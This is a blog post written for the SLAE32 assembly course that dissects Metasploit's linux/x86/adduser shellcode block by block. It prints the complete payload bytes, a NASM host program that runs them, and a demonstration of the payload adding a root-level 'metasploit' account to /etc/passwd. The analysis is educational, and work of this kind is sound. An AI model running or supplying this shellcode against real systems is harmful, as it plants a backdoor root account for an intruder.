SLAE32 Assignment 5.3 - Analyzing MSF adduser
Overview
For the fifth assignment in the SLAE32 course we were tasked with analyzing three shellcodes from the Metasploit Framework.
- In this blog post we will be analyzing the
linux/x86/adduser
payload. - This shellcode will add the user
metasploit
to the system withUID 0
.
adduser Shellcode Settings
root# msfvenom --payload linux/x86/adduser --list-options
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create
Description:
Create a new user with UID 0
Using Disasm to Dissemble the adduser Shellcode
root# msfvenom --payload linux/x86/adduser | ndisasm -u -
Payload size: 97 bytes
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E828000000 call 0x53
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi]
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]
00000055 51 push ecx
00000056 FC cld
00000057 6A04 push byte +0x4
00000059 58 pop eax
0000005A CD80 int 0x80
0000005C 6A01 push byte +0x1
0000005E 58 pop eax
0000005F CD80 int 0x80
Breaking the Shellcode into Blocks
Block One
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
xor ecx,ecx
- Clears the
ecx
register - Sets the Effective User ID to 0
- Clears the
mov ebx,ecx
- Clears the
ebx
register - Sets the Real User ID to 0
- Clears the
push byte +0x46
- Pushes
0x46
onto thestack
- Hex
0x46
is70
in decimal - This will be used for the systemcall
- Pushes
pop eax
- Pops
0x46
from the stack into theeax
register
- Pops
int 0x80
- Executes the
setreuid
Systemcall
- Executes the
Finding the Systemcall for 70
root# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 70
#define __NR_setreuid 70
setreuid Man Page
root# man 2 setreuid
setreuid, setregid - set real and/or effective user or group ID
setreuid C Function
int setreuid(uid_t ruid, uid_t euid);
EAX EBX ECX
- Coresponding assembly registers have been tagged.
setreuid C Function Arguments
uid_t ruid
- Sets the real user id for the process to be run as
- Our payloads real UID will be 0
uid_t euid
- Sets the effective user id for the process to be run as
- Our payloads effictive UID will be 0
Block Two
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
- Knowing that the
eax
register controls which systemcall will be executed, we look up what systemcall 5 is.root# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | egrep " 5$" #define __NR_open 5
open() Man Pages
root# man 2 open
open, creat - open and possibly create a file or device
Given a pathname for a file, open() returns a file descriptor, a small, nonnegative
integer for use in subsequent system calls(read(2), write(2), lseek(2), fcntl(2), etc.).
open() C Function
int open(const char *pathname, int flags);
EAX EBX ECX
- Coresponding assembly registers have been tagged.
Disecting the Assembly Code Block
push byte +0x5
&pop eax
- This sets the
eax
register up for theopen
systemcall
- This sets the
xor ecx,ecx
- Clears the
ecx
register
- Clears the
push ecx
- Pushes a
NULL
dword onto thestack
- This will be used to terminate the string
- Pushes a
push dword 0x64777373
- use command
man ascii
to reverse the string \x64
isd
\x77
isw
\x73
iss
\x73
iss
- “sswd”
- use command
push dword 0x61702f2f
\x61
isa
\x70
isp
\x2f
is/
\x2f
is/
- ”//pa”
push dword 0x6374652f
\x63
isc
\x74
ist
\x65
ise
\x2f
is/
- “/etc”
mov ebx,esp
- Puts the Memory Address of the top of the stack into the
ebx
register - Top of the stack is the string
/etc/passwd + <NULL Terminated>
- Puts the Memory Address of the top of the stack into the
inc ecx
ECX: 0x1
mov ch,0x4
ECX: 0x401
- This moves the byte
\x04
into the high byte of the lower word in theecx
register
ECX (whole register)
CX (lowest 2 bytes)
_______________CH_____CL__ (CH & CL are 1 byte)
|_\x00__\x00_|_\x04_|_\x01_|
- Sets the flags for the open fuction to read/write.
int 0x80
- Executes the
open
systemcall
- Executes the
xchg eax,ebx
- The
open
systemcall returns a file descriptor that isstored ineax
for the opened file - The value is saved for later by putting it into the
ebx
register
- The
Block Three
E828000000 call 0x53
6D insd
657461 gs jz 0x90
7370 jnc 0xa1
6C insb
6F outsd
69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
736A jnc 0xa7
3470 xor al,0x70
3449 xor al,0x49
52 push edx
633A arpl [edx],di
303A xor [edx],bh
303A xor [edx],bh
3A2F cmp ch,[edi]
3A2F cmp ch,[edi]
62696E bound ebp,[ecx+0x6e]
2F das
7368 jnc 0xba
0A598B or bl,[ecx-0x75]
51 push ecx
FC cld
6A04 push byte +0x4
58 pop eax
CD80 int 0x80
- This block looks intimidating, but once we figure out that it’s mostly string operations, it’s not that bad.
We see before the systemcall that the eax
register will hold the value 0x4
. Let’s find the corresponding systemcall.
Finding systemcall 4 - write
root# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep ' 4$'
#define __NR_write 4
write C Function Man Pages
root# man 2 write
write C Function
ssize_t write(int fd, const void *buf, size_t count);
EAX EBX ECX EDX
call 0x53
- This instruction is used to jump over the string.
- The memory location of the string is pushed onto the stack.
Lets get a bettter view of what is going on here with this string by using gdb
.
Getting the shellcode Hex
root# msfvenom --payload linux/x86/adduser --format python | grep buf |\
> sed 's/buf /sc /g'
sc = ""
sc += "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31"
sc += "\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68"
sc += "\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8"
sc += "\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69"
sc += "\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49"
sc += "\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69"
sc += "\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd"
sc += "\x80\x6a\x01\x58\xcd\x80"
Formatting the Shellcode
#!/usr/bin/python
# Filename: formatHex.py
# Author: boku
# Purpose: A python script that converts the '\x' format to '0x ,'
# Add the shellcode hex here.
sc = ""
sc += "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31"
sc += "\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68"
sc += "\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8"
sc += "\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69"
sc += "\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49"
sc += "\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69"
sc += "\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd"
sc += "\x80\x6a\x01\x58\xcd\x80"
output = ""
for x in bytearray(sc) :
output += '0x'
output += '%02x,' %x
print output
Getting the Formatted Shellcode
root# python formatHex.py
0x31,0xc9,0x89,0xcb,0x6a,0x46,0x58,0xcd,0x80,0x6a,0x05,\
0x58,0x31,0xc9,0x51,0x68,0x73,0x73,0x77,0x64,0x68,0x2f,\
0x2f,0x70,0x61,0x68,0x2f,0x65,0x74,0x63,0x89,0xe3,0x41,\
0xb5,0x04,0xcd,0x80,0x93,0xe8,0x28,0x00,0x00,0x00,0x6d,\
0x65,0x74,0x61,0x73,0x70,0x6c,0x6f,0x69,0x74,0x3a,0x41,\
0x7a,0x2f,0x64,0x49,0x73,0x6a,0x34,0x70,0x34,0x49,0x52,\
0x63,0x3a,0x30,0x3a,0x30,0x3a,0x3a,0x2f,0x3a,0x2f,0x62,\
0x69,0x6e,0x2f,0x73,0x68,0x0a,0x59,0x8b,0x51,0xfc,0x6a,\
0x04,0x58,0xcd,0x80,0x6a,0x01,0x58,0xcd,0x80
Adding the shellcode to the host program
; Filename: jmpCallPop.nasm
; Author: Bobby Cooke
global _start
section .text
_start:
; 1. Jump to where our Shellcode string is
jmp short call_shellcode
jmp2_shellcode:
; 3. Now that the memory location of our string is on the top of the
; stack, we will pass control to it using the jmp instruction.
pop eax
jmp eax
call_shellcode:
; 2. Call to the instruction that will jump us into our Shellcode
; - Call is like jump, but stores the memory location of the next
; instruction onto the Stack; which is our Shellcode.
call jmp2_shellcode
shellcode: db 0x31,0xc9,0x89,0xcb,0x6a,0x46,0x58,0xcd,0x80,0x6a,0x05,\
0x58,0x31,0xc9,0x51,0x68,0x73,0x73,0x77,0x64,0x68,0x2f,\
0x2f,0x70,0x61,0x68,0x2f,0x65,0x74,0x63,0x89,0xe3,0x41,\
0xb5,0x04,0xcd,0x80,0x93,0xe8,0x28,0x00,0x00,0x00,0x6d,\
0x65,0x74,0x61,0x73,0x70,0x6c,0x6f,0x69,0x74,0x3a,0x41,\
0x7a,0x2f,0x64,0x49,0x73,0x6a,0x34,0x70,0x34,0x49,0x52,\
0x63,0x3a,0x30,0x3a,0x30,0x3a,0x3a,0x2f,0x3a,0x2f,0x62,\
0x69,0x6e,0x2f,0x73,0x68,0x0a,0x59,0x8b,0x51,0xfc,0x6a,\
0x04,0x58,0xcd,0x80,0x6a,0x01,0x58,0xcd,0x80
Compiling the Host Program
root# nasm -f elf32 jmpCallPop.nasm -o jmpCallPop.o
root# ld jmpCallPop.o -o jmpCallPop
Running with gdb and setting Breakpoint
root# gdb ./jmpCallPop
gdb-peda$ info functions
0x0804806a shellcode
gdb-peda$ b shellcode
Breakpoint 1 at 0x804806a
gdb-peda$ run
Analyzing with gdb
Here we see that our assumptions were correct about these three instructions pushing the string /etc//passwd/
onto the top of the stack
.
0x8048079 <shellcode+15>: push 0x64777373
0x804807e <shellcode+20>: push 0x61702f2f
0x8048083 <shellcode+25>: push 0x6374652f
=> 0x8048088 <shellcode+30>: mov ebx,esp
0x804808a <shellcode+32>: inc ecx
0x804808b <shellcode+33>: mov ch,0x4
0x804808d <shellcode+35>: int 0x80
0x804808f <shellcode+37>: xchg ebx,eax
[------------------stack------------------------]
0000| 0xbffff5a0 ("/etc//passwd")
Interestingly when using nidasm
or gdb$ disassemble
the instructions read as:
00000052 0A598B or bl,[ecx-0x75]
00000055 51 push ecx
00000056 FC cld
Although when stepping through the shellcode with gdb, and looking at the instructions, we see that after the call 0x53
it reads as:
0x8048090 <shellcode+38>: call 0x80480bd <shellcode+83>
----------------------
=> 0x80480bd <shellcode+83>: pop ecx
0x80480be <shellcode+84>: mov edx,DWORD PTR [ecx-0x4]
0x80480c1 <shellcode+87>: push 0x4
0x80480c3 <shellcode+89>: pop eax
pop ecx
- This puts the memory address of our user string into the
ecx
register. - This is to fufill the
const void *buf
arguement in thewrite()
function.
- This puts the memory address of our user string into the
ECX: 0x8048095 (<shellcode+43>: ins DWORD PTR es:[edi],dx)
gdb-peda$ x/s $ecx
0x8048095 <shellcode+43>:"metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀"
- Here we can see that the address of the string on the stack is in the
ecx
register. - We use the
gdb
examine commandx
to see the string at the memory location.
At the time of the write
systemcall, the relative registers are set to:
EAX: 0x4
EBX: 0x7
ECX: 0x8048095 (<shellcode+43>: ins DWORD PTR es:[edi],dx)
EDX: 0x28 ('(')
- The
edx
register is set to0x28
because this is the length of our string that will be added to the/etc/passwd
file.
Block Four
0000005C 6A01 push byte +0x1
0000005E 58 pop eax
0000005F CD80 int 0x80
- This block of code is simply the
exit
systemcall. We know this becauseeax
is set to the value of0x1
. The exit function only has one optional arguement that can be set with theebx
register.- It is the exit code number.
- In this shellcode it is not set.
Checking the Effects of the Shellcode
root# cat /etc/passwd
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
- A user named
metasploit
was successfully added to the device. - The added user has the intended
UID 0
. - The user has the intended shell,
/bin/sh
. - Oddly the users password is
Az/dIsj4p4IRc
.
Reason for odd password string
testing the login
user$ tail -n 1 /etc/passwd
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
user$ su metasploit
Password: metasploit
# id
uid=0(root) gid=0(root) groups=0(root)
#
- After testing the login we see we can login with the intended password “metasploit”.
- The reason the password looks odd is becuase it is being saved as a hash string.
SLAE32 Blog Proof
This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
- Now at: https://www.pentesteracademy.com/course?id=3
SLAE/Student ID: PA-10913